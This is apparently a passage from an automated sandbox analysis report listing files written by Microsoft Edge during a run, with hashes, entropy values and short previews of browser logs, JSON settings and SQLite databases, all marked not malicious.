Preview:	2024/11/16-17:36:26.928 1c70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-17:36:26.953 1c70 Recovering log #3.2024/11/16-17:36:27.137 1c70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3d1a5266-8b42-4b54-b1d6-96ed007c1549.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\444c92af-1e0a-4609-9d53-a73bda7df851.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\92317fd0-296e-4111-9851-aa5818b4b8cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF4146f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a26b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d41a9aef-4ffa-4a69-83af-773546ef510f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\df48d984-6613-4d0f-96c6-41bf06dcf1d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.233342272315082
Encrypted:	false
SSDEEP:	6:HUJ7Qj4q2P923oH+TcwtzjqEKj0QMxIFUt8YUJ7QS3JZmw+YUJ7QvDkwO923oH+f:X4v4YebvqBZFUt8nJ/+8D5LYebvqBaJ
MD5:	1F06FF505512DB4167B2B5534D25BC2B
SHA1:	6C676B8AFB4572D90FF5C4B4302AC835D8384401
SHA-256:	51560BEDFEA54953161607F7A10A2E4AE0401BD567CD7E8B9518688A997EF23E
SHA-512:	8F4173AA785269EB17D2F8D592924E6D5B88A384D1950BA93224C17B1371C49EA83B18F6BC2CE873A32803B78F17857B48C86632C6986771A85247CC0527B3F1
Malicious:	false
Preview:	2024/11/16-17:36:44.870 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-17:36:44.871 1cf0 Recovering log #3.2024/11/16-17:36:44.874 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.233342272315082
Encrypted:	false
SSDEEP:	6:HUJ7Qj4q2P923oH+TcwtzjqEKj0QMxIFUt8YUJ7QS3JZmw+YUJ7QvDkwO923oH+f:X4v4YebvqBZFUt8nJ/+8D5LYebvqBaJ
MD5:	1F06FF505512DB4167B2B5534D25BC2B
SHA1:	6C676B8AFB4572D90FF5C4B4302AC835D8384401
SHA-256:	51560BEDFEA54953161607F7A10A2E4AE0401BD567CD7E8B9518688A997EF23E
SHA-512:	8F4173AA785269EB17D2F8D592924E6D5B88A384D1950BA93224C17B1371C49EA83B18F6BC2CE873A32803B78F17857B48C86632C6986771A85247CC0527B3F1
Malicious:	false
Preview:	2024/11/16-17:36:44.870 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-17:36:44.871 1cf0 Recovering log #3.2024/11/16-17:36:44.874 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.212232019213557
Encrypted:	false
SSDEEP:	6:HUJZq2P923oH+TcwtpIFUt8YUJLZmw+YUJrEFkwO923oH+Tcwta/WLJ:iv4YebmFUt8v/+sF5LYebaUJ
MD5:	A25514CC896604E5C4EE91E33BC153EC
SHA1:	FF2DB96BD5C10D259D18ECF79BDBE6835DF6A303
SHA-256:	34805538D699C8657692E9854E9FF2CB0E773869C40ED3DBD7879CB54037557F
SHA-512:	DE2DA45AC0A78AC4CD8440F36A3B8C818814BFBA3D74F8721F21C9A89615E2ED0D4F5846DDB9511196A7AE0248BEBFF276E6B9D6E7878E8E181278C99B64A46E
Malicious:	false
Preview:	2024/11/16-17:36:26.233 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-17:36:26.250 1c54 Recovering log #3.2024/11/16-17:36:26.251 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.212232019213557
Encrypted:	false
SSDEEP:	6:HUJZq2P923oH+TcwtpIFUt8YUJLZmw+YUJrEFkwO923oH+Tcwta/WLJ:iv4YebmFUt8v/+sF5LYebaUJ
MD5:	A25514CC896604E5C4EE91E33BC153EC
SHA1:	FF2DB96BD5C10D259D18ECF79BDBE6835DF6A303
SHA-256:	34805538D699C8657692E9854E9FF2CB0E773869C40ED3DBD7879CB54037557F
SHA-512:	DE2DA45AC0A78AC4CD8440F36A3B8C818814BFBA3D74F8721F21C9A89615E2ED0D4F5846DDB9511196A7AE0248BEBFF276E6B9D6E7878E8E181278C99B64A46E
Malicious:	false
Preview:	2024/11/16-17:36:26.233 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-17:36:26.250 1c54 Recovering log #3.2024/11/16-17:36:26.251 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653359252947003
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMwSAELyKOMq+8yC8F/YfU5m+OlTLVum1r:Bq+n0Jw9ELyKOMq+8y9/Ower
MD5:	18D992E1F6150A3FAA09F96968529AD6
SHA1:	54742C4D414E8A14659B31BD1E6A96C5DE051E45
SHA-256:	D2861B3F05C8BA7827990CC0906C7899706BD9338D4B5F1A31853B2CB2A696A5
SHA-512:	CEE0C2F8E4D4CAE5CF2773D359315BC498DF595890F1E99FA83EDB7C9536FB179CC9B11B7F80E0E155C3B1ED521C15F062DD543C5F3792A83FF945466FB0D1EF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4667815615436486
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0DKL:v7doKsKuKZKlZNmu46yjx0eL
MD5:	C74451C4BE4307E5088C51B966C72A30
SHA1:	77F23F839CE2AEDD8133E1DB8B1C0BAFDC188E6E
SHA-256:	41AF0DB1A209FA907985E0AC2D9389A2DAFA68F46F9A9C4239FB32F1F9BF8E57
SHA-512:	35FEAFFF445797D6A3A6AFB60905D762A9D130910633E4F853BA3E604DA9A7AEECE69C3AC1698092484C6CA770E29328B9B52380B78CD6F885B920892AA8476D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\db767721-321b-4e6a-a9b8-5531ad82f744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17530), with no line terminators
Category:	dropped
Size (bytes):	17537
Entropy (8bit):	5.492850551332341
Encrypted:	false
SSDEEP:	384:stsPGQSu4Xsc/fhdOgp1yt88l4GbGcQw06W0laTYB:siOXuE/fc88ljbGbTKaTYB
MD5:	7B73A40CFF06F09BFF26872C184AE0FB
SHA1:	BBC3B33090EE4CCC78D4C73CE62586D0644B11D1
SHA-256:	373713205224E9E67220C0BFF425D1A92B0CA46848D8CCBDEA41DFFD8F750CAB
SHA-512:	D327AC5DB2C8BF3BC6497EE1A62E2E345C4B5F585203BE454D60E2E95F18CADB97B07CC9E4E7CCB67522CE635F975F1F60B52E67E77F63C4477AEC00C2D7210C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f23aa35e-cde3-4438-9a5c-77b46835819a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12543
Entropy (8bit):	5.2055530231691804
Encrypted:	false
SSDEEP:	192:stsJ99QTryDiuabatSuypXsGTca/sZihUkYbYS8cbV+F5CQA66WwaFIMYLPsYJ:stsPGQSu4Xsc/fhMbbGcQx6WwaTYB
MD5:	1D15670F25CA6AFA3C68DE37230077F1
SHA1:	794BF24D36A6D2AEA73EAE12463039E6DFB42DA8
SHA-256:	E327D74BD86E68F9C2FDD90E09C0CDD76C6099478F2B19BDD8E75191CBAB1106
SHA-512:	C0D299D6AB81F14186E528DDE9B4E63464FE5F30317B135B140660240B052A0B69A84A46B2B64FA0B3B0870DCCFA21A23F4F96797E962778A85CA5E0619C7315
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10255517001549112
Encrypted:	false
SSDEEP:	6:Gu0kZHA20kZHh89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl0:+uIuBspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	17C85C5034DED6E2DC77ABE670F700BF
SHA1:	28C1067F04180A4D15C5DAF7470EC9591C6BAA84
SHA-256:	DB6B4E3D14E892EAE3936330223E460B62A87237A56F7B9102F267993D8EA58D
SHA-512:	224A6D6E131B34036FEFEB4652CC6E530F9C6759AED9A15D398D47BFAD1D7C21E0FFD6B18ABE0420608CB2EF803AFA41A7383917A8870C5A40C34865B8B81C1A
Malicious:	false
Preview:	..-.............M.........Q.f....4..}..H...B.L...-.............M.........Q.f....4..}..H...B.L.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8908743923020396
Encrypted:	false
SSDEEP:	384:G2hv6mvW4vtBvpEvDnv1wvdIMvhHMvZAMv0Z1AMv1v8SIyny/4yMygJyyxyJee:QYLsKbe
MD5:	EEF2F05CE7D545B77CE8C050128D9014
SHA1:	D73B38CB49E6F07E87628DC7D685D60276562C16
SHA-256:	7E052BBFEC223C8E934DEEE92AA091E9FC0C61038FF08C602A7FA6632B58311F
SHA-512:	A0785B445C4E6E5A29B110B3E93E7E76EB4D3542C901221BE14D93F91F7C2E2B6C2FBDCBEA5B815A20835B5479DC6169462DB272C044C88EA7A26E0713A3BE18
Malicious:	false
